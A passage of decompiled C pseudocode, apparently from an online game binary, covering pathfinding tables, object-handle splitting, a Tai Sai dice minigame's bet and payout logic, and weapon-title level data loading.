CFindWay *v1; // ebp@1 int v2; // edx@1 int v3; // ecx@1 int dwXTbl[13]; // [sp+10h] [bp-7Ch]@1 int dwYTbl[13]; // [sp+44h] [bp-48h]@1 char bDirTbl[13]; // [sp+78h] [bp-14h]@1 v1 = this; bDirTbl[8] = 1; dwXTbl[2] = 1; dwXTbl[9] = 1; dwYTbl[2] = 1; dwYTbl[4] = 1; bDirTbl[0] = 0; bDirTbl[1] = 3; bDirTbl[2] = 4; bDirTbl[3] = 6; bDirTbl[4] = 8; bDirTbl[5] = 0; bDirTbl[6] = 12; bDirTbl[7] = 0; bDirTbl[9] = 2; bDirTbl[10] = 0; bDirTbl[11] = 0; dwXTbl[0] = 0; dwXTbl[1] = 0; dwXTbl[3] = 2; dwXTbl[4] = -1; dwXTbl[5] = 0; dwXTbl[6] = 0; dwXTbl[7] = 0; dwXTbl[8] = -1; dwXTbl[10] = 0; dwXTbl[11] = 0; dwXTbl[12] = -2; dwYTbl[0] = 0; dwYTbl[1] = -1; dwYTbl[3] = 0; dwYTbl[5] = 0; dwYTbl[6] = 2; dwYTbl[7] = 0; dwYTbl[8] = -1; dwYTbl[9] = -2; dwYTbl[10] = 0; dwYTbl[11] = 0; dwYTbl[12] = 0; this->NoJunc = 0; this->NumOfJunc = 0; this->LenMap = 0; CFindWay::LenMapInit(this, 256, 256); v2 = *(_DWORD *)&bDirTbl[4]; *(_DWORD *)&v1->DirTbl[0] = *(_DWORD *)bDirTbl; v3 = *(_DWORD *)&bDirTbl[8]; *(_DWORD *)&v1->DirTbl[4] = v2; *(_DWORD *)&v1->DirTbl[8] = v3; memcpy(v1->XTbl, dwXTbl, sizeof(v1->XTbl)); memcpy(v1->YTbl, dwYTbl, sizeof(v1->YTbl)); v1->DirTbl[12] = 9; } //----- (0056D920) -------------------------------------------------------- void __thiscall CFindWay::CFindWay(CFindWay *this) { this->m_bLoaded = 0; this->m_pBlockInfoByte = 0; CFindWay::Init(this); } //----- (0056D940) -------------------------------------------------------- unsigned int __cdecl ShineObjectHandleUnion::sohu_Initialize() { unsigned int result; // eax@1 int v1; // ecx@4 int v2; // ecx@10 int v3; // ecx@16 result = 0; do { if ( result & 3 ) { v1 = result & 7; if ( (result & 7) == 2 ) { ShineObjectHandleUnion::sohu_Index[result] = 2; } else { if ( v1 == 6 ) { ShineObjectHandleUnion::sohu_Index[result] = 3; } else { if ( v1 == 1 ) { ShineObjectHandleUnion::sohu_Index[result] = 1; } else { v2 = result & 0xF; switch ( v2 ) { case 5: ShineObjectHandleUnion::sohu_Index[result] = 0; break; case 13: ShineObjectHandleUnion::sohu_Index[result] = 4; break; case 11: ShineObjectHandleUnion::sohu_Index[result] = 8; break; default: v3 = result & 0x1F; switch ( v3 ) { case 3: ShineObjectHandleUnion::sohu_Index[result] = 9; break; case 7: ShineObjectHandleUnion::sohu_Index[result] = 6; break; case 15: ShineObjectHandleUnion::sohu_Index[result] = 7; break; default: ShineObjectHandleUnion::sohu_Index[result] = (((v3 != 19) - 1) & 0xB) - 1; break; } break; } } } } } else { ShineObjectHandleUnion::sohu_Index[result] = 5; } ++result; } while ( result < 0x20 ); return result; } //----- (0056DA00) -------------------------------------------------------- char __thiscall ShineObjectHandleUnion::sohu_HandleSplit(ShineObjectHandleUnion *this, unsigned __int16 *hnd) { unsigned __int16 v2; // cx@1 char result; // al@1 v2 = this->sohu_Handle; result = ShineObjectHandleUnion::sohu_Index[v2 & 0x1F]; switch ( result ) { case 5: *hnd = v2 >> 2; break; case 1: case 2: case 3: *hnd = v2 >> 3; break; case 0: case 4: case 8: *hnd = v2 >> 4; break; case 6: case 7: case 9: case 0xA: *hnd = v2 >> 5; break; default: result = -1; break; } return result; } //----- (0056DA80) -------------------------------------------------------- bool __thiscall DiceTaiSai::ConvertDice(DiceTaiSai *this, char *pSource, int *pTarget) { bool result; // al@3 signed int v4; // esi@4 char v5; // al@5 int v6; // esi@8 int v7; // eax@8 if ( pSource && pTarget ) { v4 = 0; while ( 1 ) { v5 = pSource[v4]; if ( (unsigned __int8)v5 < 1u ) break; if ( (unsigned __int8)v5 > 6u ) break; ++v4; if ( v4 >= 3 ) { *pTarget = 0; v6 = 6 * (unsigned __int8)*pSource - 6; *pTarget = v6; v7 = 6 * (v6 + (unsigned __int8)pSource[1]) - 6; *pTarget = v7; *pTarget = (unsigned __int8)pSource[2] + v7 - 1; return 1; } } result = 0; } else { result = 0; } return result; } //----- (0056DAE0) -------------------------------------------------------- bool __thiscall DiceTaiSai::ConvertDice(DiceTaiSai *this, int nSource, char *pTarget) { bool result; // al@4 if ( pTarget && nSource >= 0 && nSource < 216 ) { pTarget[2] = nSource % 6 + 1; pTarget[1] = nSource / 6 % 6 + 1; result = 1; *pTarget = nSource / 6 / 6 % 6 + 1; } else { result = 0; } return result; } //----- (0056DB20) -------------------------------------------------------- bool __thiscall DiceTaiSai::get_PrizeWinningBet(DiceTaiSai *this, int nDiceVariety, DiceTaiSaiPrizeWinning *pPrizeWinningBet) { char *v4; // eax@5 signed int v5; // esi@5 char *v6; // ebx@7 char v7; // al@7 int v8; // ecx@17 int v9; // ecx@19 int v10; // ecx@23 int v11; // edi@25 signed int v12; // esi@25 signed int v13; // ecx@26 int v14; // edi@34 signed int v15; // esi@34 signed int v16; // ecx@35 int v17; // edi@43 signed int v18; // esi@43 signed int v19; // ecx@44 int v20; // edi@52 signed int v21; // esi@52 signed int v22; // ecx@53 int v23; // edi@61 signed int v24; // esi@61 signed int v25; // ecx@62 int v26; // edi@70 signed int v27; // esi@70 signed int v28; // ecx@71 int v29; // edi@79 signed int v30; // esi@79 signed int v31; // ecx@80 int v32; // edi@88 signed int v33; // esi@88 signed int v34; // ecx@89 int v35; // edi@97 signed int v36; // esi@97 signed int v37; // ecx@98 int v38; // edi@106 signed int v39; // esi@106 signed int v40; // ecx@107 int v41; // edi@115 signed int v42; // esi@115 signed int v43; // ecx@116 int v44; // edi@124 signed int v45; // esi@124 signed int v46; // ecx@125 int v47; // edi@133 signed int v48; // esi@133 signed int v49; // ecx@134 int v50; // edi@142 signed int v51; // esi@142 signed int v52; // ecx@143 int v53; // edi@151 signed int v54; // esi@151 signed int v55; // ecx@152 int v56; // edx@160 signed int v57; // ecx@160 char *v58; // ecx@165 int v59; // edx@166 signed int v60; // ecx@166 char *v61; // ecx@171 int v62; // edx@172 signed int v63; // ecx@172 char *v64; // ecx@177 int v65; // edx@178 signed int v66; // ecx@178 char *v67; // ecx@183 int v68; // edx@184 signed int v69; // ecx@184 char *v70; // ecx@189 int v71; // edx@190 signed int v72; // ecx@190 char *v73; // ecx@195 int v74; // [sp+0h] [bp-8h]@25 int v75; // [sp+4h] [bp-4h]@25 if ( nDiceVariety < 0 || nDiceVariety >= 216 ) return 0; if ( !pPrizeWinningBet ) return 0; v4 = (char *)pPrizeWinningBet->PrizeWinningBetInfo; v5 = 12; do { pPrizeWinningBet->nPrizeWinningBetCnt = 0; *v4 = 0; v4 += 8; --v5; } while ( v5 ); v6 = (char *)this + 22 * nDiceVariety; v7 = 0; if ( v6[3] == 1 ) { pPrizeWinningBet->PrizeWinningBetInfo[0].nBetting = 0; } else { if ( v6[3] != 2 ) goto LABEL_12; pPrizeWinningBet->PrizeWinningBetInfo[0].nBetting = 1; } v7 = 1; LABEL_12: if ( v6[4] == 1 ) { pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7].nBetting = 2; } else { if ( v6[4] != 2 ) goto LABEL_17; pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7].nBetting = 3; } ++v7; LABEL_17: v8 = v6[5]; if ( v8 > 0 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = v8 + 3; v9 = v6[6]; if ( v9 > 0 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = v9 + 9; if ( 2 * (v6[6] > 0) - 1 > 0 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 16; v10 = v6[7]; if ( v10 > 0 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = v10 + 13; v11 = 0; v75 = 2; v74 = 1; v12 = 0; do { v13 = 0; while ( v6[v13] != *(&v74 + v12) ) { ++v13; if ( v13 >= 3 ) goto LABEL_31; } ++v11; LABEL_31: ++v12; } while ( v12 < 2 ); if ( v11 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 31; v14 = 0; v74 = 1; v75 = 3; v15 = 0; do { v16 = 0; while ( v6[v16] != *(&v74 + v15) ) { ++v16; if ( v16 >= 3 ) goto LABEL_40; } ++v14; LABEL_40: ++v15; } while ( v15 < 2 ); if ( v14 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 32; v17 = 0; v74 = 1; v75 = 4; v18 = 0; do { v19 = 0; while ( v6[v19] != *(&v74 + v18) ) { ++v19; if ( v19 >= 3 ) goto LABEL_49; } ++v17; LABEL_49: ++v18; } while ( v18 < 2 ); if ( v17 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 33; v20 = 0; v74 = 1; v75 = 5; v21 = 0; do { v22 = 0; while ( v6[v22] != *(&v74 + v21) ) { ++v22; if ( v22 >= 3 ) goto LABEL_58; } ++v20; LABEL_58: ++v21; } while ( v21 < 2 ); if ( v20 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 34; v23 = 0; v74 = 1; v75 = 6; v24 = 0; do { v25 = 0; while ( v6[v25] != *(&v74 + v24) ) { ++v25; if ( v25 >= 3 ) goto LABEL_67; } ++v23; LABEL_67: ++v24; } while ( v24 < 2 ); if ( v23 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 35; v26 = 0; v74 = 2; v75 = 3; v27 = 0; do { v28 = 0; while ( v6[v28] != *(&v74 + v27) ) { ++v28; if ( v28 >= 3 ) goto LABEL_76; } ++v26; LABEL_76: ++v27; } while ( v27 < 2 ); if ( v26 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 36; v29 = 0; v74 = 2; v75 = 4; v30 = 0; do { v31 = 0; while ( v6[v31] != *(&v74 + v30) ) { ++v31; if ( v31 >= 3 ) goto LABEL_85; } ++v29; LABEL_85: ++v30; } while ( v30 < 2 ); if ( v29 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 37; v32 = 0; v74 = 2; v75 = 5; v33 = 0; do { v34 = 0; while ( v6[v34] != *(&v74 + v33) ) { ++v34; if ( v34 >= 3 ) goto LABEL_94; } ++v32; LABEL_94: ++v33; } while ( v33 < 2 ); if ( v32 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 38; v35 = 0; v74 = 2; v75 = 6; v36 = 0; do { v37 = 0; while ( v6[v37] != *(&v74 + v36) ) { ++v37; if ( v37 >= 3 ) goto LABEL_103; } ++v35; LABEL_103: ++v36; } while ( v36 < 2 ); if ( v35 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 39; v38 = 0; v74 = 3; v75 = 4; v39 = 0; do { v40 = 0; while ( v6[v40] != *(&v74 + v39) ) { ++v40; if ( v40 >= 3 ) goto LABEL_112; } ++v38; LABEL_112: ++v39; } while ( v39 < 2 ); if ( v38 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 40; v41 = 0; v74 = 3; v75 = 5; v42 = 0; do { v43 = 0; while ( v6[v43] != *(&v74 + v42) ) { ++v43; if ( v43 >= 3 ) goto LABEL_121; } ++v41; LABEL_121: ++v42; } while ( v42 < 2 ); if ( v41 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 41; v44 = 0; v74 = 3; v75 = 6; v45 = 0; do { v46 = 0; while ( v6[v46] != *(&v74 + v45) ) { ++v46; if ( v46 >= 3 ) goto LABEL_130; } ++v44; LABEL_130: ++v45; } while ( v45 < 2 ); if ( v44 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 42; v47 = 0; v74 = 4; v75 = 5; v48 = 0; do { v49 = 0; while ( v6[v49] != *(&v74 + v48) ) { ++v49; if ( v49 >= 3 ) goto LABEL_139; } ++v47; LABEL_139: ++v48; } while ( v48 < 2 ); if ( v47 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 43; v50 = 0; v74 = 4; v75 = 6; v51 = 0; do { v52 = 0; while ( v6[v52] != *(&v74 + v51) ) { ++v52; if ( v52 >= 3 ) goto LABEL_148; } ++v50; LABEL_148: ++v51; } while ( v51 < 2 ); if ( v50 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 44; v53 = 0; v74 = 5; v75 = 6; v54 = 0; do { v55 = 0; while ( v6[v55] != *(&v74 + v54) ) { ++v55; if ( v55 >= 3 ) goto LABEL_157; } ++v53; LABEL_157: ++v54; } while ( v54 < 2 ); if ( v53 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 45; v56 = 0; v57 = 0; do { if ( v6[v57] == 1 ) ++v56; ++v57; } while ( v57 < 3 ); if ( v56 > 0 ) { v58 = (char *)pPrizeWinningBet + 8 * (unsigned __int8)v7; v58[4] = v56; *((_DWORD *)v58 + 2) = 46; ++v7; } v59 = 0; v60 = 0; do { if ( v6[v60] == 2 ) ++v59; ++v60; } while ( v60 < 3 ); if ( v59 > 0 ) { v61 = (char *)pPrizeWinningBet + 8 * (unsigned __int8)v7; v61[4] = v59; *((_DWORD *)v61 + 2) = 47; ++v7; } v62 = 0; v63 = 0; do { if ( v6[v63] == 3 ) ++v62; ++v63; } while ( v63 < 3 ); if ( v62 > 0 ) { v64 = (char *)pPrizeWinningBet + 8 * (unsigned __int8)v7; v64[4] = v62; *((_DWORD *)v64 + 2) = 48; ++v7; } v65 = 0; v66 = 0; do { if ( v6[v66] == 4 ) ++v65; ++v66; } while ( v66 < 3 ); if ( v65 > 0 ) { v67 = (char *)pPrizeWinningBet + 8 * (unsigned __int8)v7; v67[4] = v65; *((_DWORD *)v67 + 2) = 49; ++v7; } v68 = 0; v69 = 0; do { if ( v6[v69] == 5 ) ++v68; ++v69; } while ( v69 < 3 ); if ( v68 > 0 ) { v70 = (char *)pPrizeWinningBet + 8 * (unsigned __int8)v7; v70[4] = v68; *((_DWORD *)v70 + 2) = 50; ++v7; } v71 = 0; v72 = 0; do { if ( v6[v72] == 6 ) ++v71; ++v72; } while ( v72 < 3 ); if ( v71 > 0 ) { v73 = (char *)pPrizeWinningBet + 8 * (unsigned __int8)v7; v73[4] = v71; *((_DWORD *)v73 + 2) = 51; ++v7; } pPrizeWinningBet->nPrizeWinningBetCnt = v7; return 1; } //----- (0056E1B0) -------------------------------------------------------- void __thiscall DiceTaiSaiDividind::DiceTaiSaiDividind(DiceTaiSaiDividind *this) { DiceTaiSaiDividind *v1; // eax@1 signed int v2; // ecx@1 v1 = this; v2 = 0; do { v1->DividendRate[v2] = 0; v1->bIsInitDividendRate[v2++] = 0; } while ( v2 < 15 ); v1->ConertDividendRateTable[2] = 1; v1->ConertDividendRateTable[3] = 1; v1->ConertDividendRateTable[4] = 2; v1->ConertDividendRateTable[5] = 2; v1->ConertDividendRateTable[6] = 2; v1->ConertDividendRateTable[7] = 2; v1->ConertDividendRateTable[8] = 2; v1->ConertDividendRateTable[9] = 2; v1->ConertDividendRateTable[10] = 3; v1->ConertDividendRateTable[11] = 3; v1->ConertDividendRateTable[12] = 3; v1->ConertDividendRateTable[13] = 3; v1->ConertDividendRateTable[14] = 3; v1->ConertDividendRateTable[15] = 3; v1->ConertDividendRateTable[22] = 10; v1->ConertDividendRateTable[23] = 10; v1->ConertDividendRateTable[24] = 10; v1->ConertDividendRateTable[25] = 10; v1->ConertDividendRateTable[0] = 0; v1->ConertDividendRateTable[1] = 0; v1->ConertDividendRateTable[31] = 11; v1->ConertDividendRateTable[32] = 11; v1->ConertDividendRateTable[33] = 11; v1->ConertDividendRateTable[34] = 11; v1->ConertDividendRateTable[35] = 11; v1->ConertDividendRateTable[36] = 11; v1->ConertDividendRateTable[37] = 11; v1->ConertDividendRateTable[38] = 11; v1->ConertDividendRateTable[39] = 11; v1->ConertDividendRateTable[40] = 11; v1->ConertDividendRateTable[41] = 11; v1->ConertDividendRateTable[42] = 11; v1->ConertDividendRateTable[43] = 11; v1->ConertDividendRateTable[44] = 11; v1->ConertDividendRateTable[45] = 11; v1->ConertDividendRateTable[16] = 4; v1->ConertDividendRateTable[17] = 5; v1->ConertDividendRateTable[18] = 6; v1->ConertDividendRateTable[19] = 7; v1->ConertDividendRateTable[20] = 8; v1->ConertDividendRateTable[21] = 9; v1->ConertDividendRateTable[26] = 9; v1->ConertDividendRateTable[27] = 8; v1->ConertDividendRateTable[28] = 7; v1->ConertDividendRateTable[29] = 6; v1->ConertDividendRateTable[30] = 5; v1->ConertDividendRateTable[46] = 14; v1->ConertDividendRateTable[47] = 14; v1->ConertDividendRateTable[48] = 14; v1->ConertDividendRateTable[49] = 14; v1->ConertDividendRateTable[50] = 14; v1->ConertDividendRateTable[51] = 14; } //----- (0056E310) -------------------------------------------------------- bool __thiscall DiceTaiSaiDividind::isInitFinishe(DiceTaiSaiDividind *this) { signed int v1; // eax@1 v1 = 0; while ( this->bIsInitDividendRate[v1] ) { ++v1; if ( v1 >= 15 ) return 1; } return 0; } //----- (0056E330) -------------------------------------------------------- bool __thiscall DiceTaiSaiDividind::Init(DiceTaiSaiDividind *this, DividendRate nDividind, unsigned __int16 nDividindRate) { signed int v3; // eax@2 if ( (signed int)nDividind < 15 ) { this->DividendRate[nDividind] = nDividindRate; this->bIsInitDividendRate[nDividind] = 1; v3 = 0; while ( this->bIsInitDividendRate[v3] ) { ++v3; if ( v3 >= 15 ) return 1; } } return 0; } //----- (0056E370) -------------------------------------------------------- bool __thiscall DiceTaiSaiDividind::is_CanBettingMoney(DiceTaiSaiDividind *this, DICE_TAISAI_BETTING nBet, unsigned int nMaxBetMoney, unsigned int nBetMoney) { DividendRate v4; // eax@2 bool result; // al@4 if ( (signed int)nBet < 52 && (v4 = this->ConertDividendRateTable[nBet], (signed int)v4 < 15) && this->bIsInitDividendRate[v4] ) result = nBetMoney <= 100 * nMaxBetMoney / (unsigned __int64)this->DividendRate[v4]; else result = 0; return result; } //----- (0056E3D0) -------------------------------------------------------- unsigned int __thiscall DiceTaiSaiDividind::get_DividindMoney(DiceTaiSaiDividind *this, DICE_TAISAI_BETTING nBet, int nSingleNum, unsigned int nBetMoney) { DividendRate v4; // eax@2 __int64 v5; // qax@12 if ( (signed int)nBet >= 52 ) goto LABEL_12; v4 = this->ConertDividendRateTable[nBet]; if ( (signed int)nBet < 46 || (signed int)nBet > 51 ) { if ( (signed int)v4 >= 15 ) goto LABEL_12; } else { if ( nSingleNum == 1 ) { v4 = 12; } else { if ( nSingleNum == 2 ) { v4 = 13; } else { if ( nSingleNum != 3 ) goto LABEL_12; v4 = 14; } } } if ( this->bIsInitDividendRate[v4] ) return (unsigned __int64)((double)this->DividendRate[v4] * 0.0099999998 * (double)nBetMoney); LABEL_12: LODWORD(v5) = 0; return v5; } //----- (0056E450) -------------------------------------------------------- unsigned __int16 __thiscall DiceTaiSaiDividind::get_DividendRate(DiceTaiSaiDividind *this, DICE_TAISAI_BETTING nBet, int nSingleNum) { DividendRate v3; // eax@2 if ( (signed int)nBet >= 52 ) return 0; v3 = this->ConertDividendRateTable[nBet]; if ( (signed int)nBet >= 46 && (signed int)nBet <= 51 ) { if ( nSingleNum == 1 ) { v3 = 12; goto LABEL_11; } if ( nSingleNum == 2 ) { v3 = 13; goto LABEL_11; } if ( nSingleNum == 3 ) { v3 = 14; goto LABEL_11; } return 0; } if ( (signed int)v3 >= 15 ) return 0; LABEL_11: if ( !this->bIsInitDividendRate[v3] ) return 0; return this->DividendRate[v3]; } //----- (0056E4B0) -------------------------------------------------------- void __thiscall DiceTaiSai::Init(DiceTaiSai *this, int NoSumTriple) { DiceTaiSai *v2; // edx@1 signed int v3; // edi@1 char *v4; // esi@1 int v5; // eax@7 int v6; // esi@7 signed int v7; // ebp@7 unsigned __int8 v8; // cl@8 unsigned __int8 v9; // dl@8 signed int v10; // edi@8 unsigned __int8 v11; // bl@10 char v12; // cl@18 char v13; // cl@19 char v14; // dl@19 char v15; // cl@22 unsigned __int8 v16; // cl@22 char v17; // bl@24 unsigned __int8 v18; // dl@24 char v19; // cl@25 char v20; // dl@25 unsigned __int8 v21; // cl@26 unsigned __int8 v22; // dl@26 char v23; // cl@27 char v24; // cl@27 char v25; // dl@27 unsigned __int8 v26; // cl@28 unsigned __int8 v27; // dl@28 char v28; // cl@29 char v29; // cl@29 char v30; // dl@29 char v31; // cl@30 char v32; // dl@33 unsigned __int8 v33; // cl@33 unsigned __int8 v34; // dl@40 char v35; // cl@43 char v36; // cl@45 bool v37; // zf@45 int nSameNum; // [sp+10h] [bp-4h]@8 v2 = this; v3 = 0; v4 = &this->m_Dice[0].isEven; do { if ( v4 != (char *)3 && v3 >= 0 && v3 < 216 ) { *(v4 - 1) = v3 % 6 + 1; *(v4 - 2) = v3 / 6 % 6 + 1; *(v4 - 3) = v3 / 6 / 6 % 6 + 1; v2 = this; } *v4 = -1; v4[1] = -1; v4[2] = -1; v4[3] = -1; v4[4] = -1; v4[5] = 3; v4[6] = 0; v4[7] = 0; v4[8] = 0; v4[9] = 0; v4[10] = 0; v4[11] = 0; v4[12] = 3; v4[13] = 0; v4[14] = 0; v4[15] = 0; v4[16] = 0; v4[17] = 0; v4[18] = 0; ++v3; v4 += 22; } while ( v3 < 216 ); v5 = (int)&v2->m_Dice[0].Dice.nNumber[2]; v6 = (int)v2->m_Dice[0].nDominoNum; v7 = 216; do { v8 = *(_BYTE *)(v5 - 1); v9 = *(_BYTE *)(v5 - 2); v10 = 0; nSameNum = 0; if ( v9 == v8 ) { nSameNum = v9; v10 = 1; } v11 = *(_BYTE *)v5; if ( v8 == *(_BYTE *)v5 ) { nSameNum = v8; ++v10; } if ( v11 == v9 ) { nSameNum = v11; ++v10; } if ( v10 == 1 ) { *(_BYTE *)(v5 + 3) = nSameNum; *(_BYTE *)(v5 + 13) = 2; *(_BYTE *)(v5 + 6) = 1; } else { if ( v10 == 3 ) { *(_BYTE *)(v5 + 4) = nSameNum; *(_BYTE *)(v5 + 13) = 1; *(_BYTE *)(v5 + 6) = 0; } } v12 = *(_BYTE *)(v5 + 6); if ( v12 == 1 ) { v13 = *(_BYTE *)(v5 - 2); v14 = *(_BYTE *)(v5 - 1); *(_BYTE *)(v5 + 7) = v13; if ( v13 == v14 ) { *(_BYTE *)(v5 + 8) = *(_BYTE *)v5; goto LABEL_24; } } else { if ( v12 != 3 ) goto LABEL_24; v15 = *(_BYTE *)(v5 - 2); v14 = *(_BYTE *)(v5 - 1); *(_BYTE *)(v5 + 7) = v15; *(_BYTE *)(v5 + 9) = v15; v16 = *(_BYTE *)v5; *(_BYTE *)(v5 + 10) = *(_BYTE *)v5; *(_BYTE *)(v5 + 11) = v14; *(_BYTE *)(v5 + 12) = v16; } *(_BYTE *)(v5 + 8) = v14; LABEL_24: v17 = *(_BYTE *)v6; v18 = *(_BYTE *)(v6 + 1); if ( *(_BYTE *)v6 > v18 ) { *(_BYTE *)v6 = v17 ^ v18; v19 = v18 ^ v17 ^ v18; v20 = v19 ^ *(_BYTE *)v6; *(_BYTE *)(v6 + 1) = v19; *(_BYTE *)v6 = v20; } v21 = *(_BYTE *)(v6 + 2); v22 = *(_BYTE *)(v6 + 3); if ( v21 > v22 ) { v23 = v22 ^ v21; *(_BYTE *)(v6 + 2) = v23; v24 = v22 ^ v23; v25 = v24 ^ *(_BYTE *)(v6 + 2); *(_BYTE *)(v6 + 3) = v24; *(_BYTE *)(v6 + 2) = v25; } v26 = *(_BYTE *)(v6 + 4); v27 = *(_BYTE *)(v6 + 5); if ( v26 > v27 ) { v28 = v27 ^ v26; *(_BYTE *)(v6 + 4) = v28; v29 = v27 ^ v28; v30 = v29 ^ *(_BYTE *)(v6 + 4); *(_BYTE *)(v6 + 5) = v29; *(_BYTE *)(v6 + 4) = v30; } v31 = *(_BYTE *)(v5 + 13); if ( v31 == 1 ) { *(_BYTE *)(v5 + 14) = *(_BYTE *)(v5 - 2); *(_BYTE *)(v5 + 15) = 3; goto LABEL_43; } if ( v31 != 2 ) { if ( v31 != 3 ) goto LABEL_43; v33 = *(_BYTE *)(v5 - 1); *(_BYTE *)(v5 + 14) = *(_BYTE *)(v5 - 2); v34 = *(_BYTE *)v5; *(_BYTE *)(v5 + 15) = 1; *(_BYTE *)(v5 + 18) = v34; *(_BYTE *)(v5 + 19) = 1; goto LABEL_41; } v32 = *(_BYTE *)(v5 - 1); v33 = *(_BYTE *)(v5 - 2); if ( v33 == v32 ) { *(_BYTE *)(v5 + 14) = v33; v33 = *(_BYTE *)v5; *(_BYTE *)(v5 + 15) = 2; LABEL_41: *(_BYTE *)(v5 + 16) = v33; goto LABEL_42; } if ( v33 != *(_BYTE *)v5 ) { if ( v32 != *(_BYTE *)v5 ) goto LABEL_43; *(_BYTE *)(v5 + 14) = v32; *(_BYTE *)(v5 + 15) = 2; goto LABEL_41; } *(_BYTE *)(v5 + 14) = v33; *(_BYTE *)(v5 + 15) = 2; *(_BYTE *)(v5 + 16) = v32; LABEL_42: *(_BYTE *)(v5 + 17) = 1; LABEL_43: v35 = *(_BYTE *)(v5 + 4); if ( !NoSumTriple ) { if ( v35 > 0 ) goto LABEL_55; LABEL_45: v36 = *(_BYTE *)(v5 - 2) + *(_BYTE *)v5 + *(_BYTE *)(v5 - 1); v37 = (v36 & 0x80000001) == 0; *(_BYTE *)(v5 + 5) = v36; if ( (v36 & 0x80000001) < 0 ) v37 = (((v36 & 0x80000001) - 1) | 0xFFFFFFFE) == -1; *(_BYTE *)(v5 + 1) = !v37 + 1; if ( v36 < 11 || v36 > 17 ) *(_BYTE *)(v5 + 2) = 2; else *(_BYTE *)(v5 + 2) = 1; goto LABEL_55; } if ( v35 <= 0 ) goto LABEL_45; if ( nSameNum != 1 && nSameNum != 6 ) *(_BYTE *)(v5 + 5) = *(_BYTE *)(v5 - 2) + *(_BYTE *)v5 + *(_BYTE *)(v5 - 1); LABEL_55: v6 += 22; v5 += 22; --v7; } while ( v7 ); } //----- (0056E740) -------------------------------------------------------- void __thiscall CWeaponTitle::CWeaponTitle(CWeaponTitle *this) { CWeaponTitle *v1; // esi@1 v1 = this; CDataReader::CDataReader(&this->m_WeaponTitleData); v1->m_ppWTDArray = 0; v1->m_MaxArrayIndex = 0; } //----- (0056E760) -------------------------------------------------------- int __thiscall CWeaponTitle::Read(CWeaponTitle *this, const char *pFN, unsigned int nVersionKey, unsigned int nStructSize) { CWeaponTitle *v4; // esi@1 int result; // eax@3 CDataReader::HEAD *v6; // eax@4 unsigned int v7; // ebx@5 unsigned int v8; // edi@7 void *v9; // eax@8 unsigned __int8 v10; // cl@8 int v11; // eax@9 unsigned int v12; // eax@12 void *v13; // eax@13 unsigned int v14; // edx@13 int v15; // edi@13 int i; // ecx@13 unsigned int v17; // edi@16 void *v18; // eax@17 v4 = this; if ( this->m_ppWTDArray ) { operator delete__(this->m_ppWTDArray); v4->m_ppWTDArray = 0; } v4->m_MaxArrayIndex = 0; result = CDataReader::Read(&v4->m_WeaponTitleData, pFN, nVersionKey, nStructSize); if ( result ) { v6 = v4->m_WeaponTitleData.m_pHead; if ( v6 ) v7 = v6->nNumOfRecord; else v7 = 0; v8 = 0; if ( v7 ) { while ( 1 ) { v9 = CDataReader::GetRecord(&v4->m_WeaponTitleData, v8); v10 = *((_BYTE *)v9 + 2); if ( v10 >= 0xAu ) break; v11 = v10 + 10 * *(_WORD *)v9; if ( v4->m_MaxArrayIndex <= v11 ) v4->m_MaxArrayIndex = v11 + 1; ++v8; if ( v8 >= v7 ) goto LABEL_12; } result = 0; } else { LABEL_12: v12 = v4->m_MaxArrayIndex; if ( v12 ) { v13 = operator new__(4 * v12); v14 = 4 * v4->m_MaxArrayIndex; v4->m_ppWTDArray = (WEAPON_TITLE_DATA **)v13; memset(v13, 0, 4 * (v14 >> 2)); v15 = (int)((char *)v13 + 4 * (v14 >> 2)); for ( i = v14 & 3; i; --i ) *(_BYTE *)v15++ = 0; v17 = 0; if ( v7 ) { do { v18 = CDataReader::GetRecord(&v4->m_WeaponTitleData, v17++); v4->m_ppWTDArray[*((_BYTE *)v18 + 2) + 10 * *(_WORD *)v18] = (WEAPON_TITLE_DATA *)v18; } while ( v17 < v7 ); } } result = 1; } } return result; } //----- (0056E850) -------------------------------------------------------- unsigned int __thiscall CWeaponTitle::GetLevel(CWeaponTitle *this, unsigned __int16 MobID, unsigned int MobKillCount) { unsigned int v3; // ebx@1 int v4; // esi@1 unsigned int result; // eax@2 int v6; // edi@3 WEAPON_TITLE_DATA *v7; // edx@5 v3 = this->m_MaxArrayIndex; v4 = 10 * MobID; if ( v4 < v3 ) { result = 0; v6 = 10 * MobID; do { if ( result + v4 >= v3 ) break; v7 = this->m_ppWTDArray[v6]; if ( !v7 ) break; if ( MobKillCount < v7->MobKillCount ) return result; ++result; ++v6; } while ( result < 0xA ); --result; } else { result = -1; } return result; } //----- (0056E8B0) -------------------------------------------------------- WEAPON_TITLE_DATA *__thiscall CWeaponTitle::GetLevelData(CWeaponTitle *this, unsigned __int16 MobID, unsigned int MobKillCount, 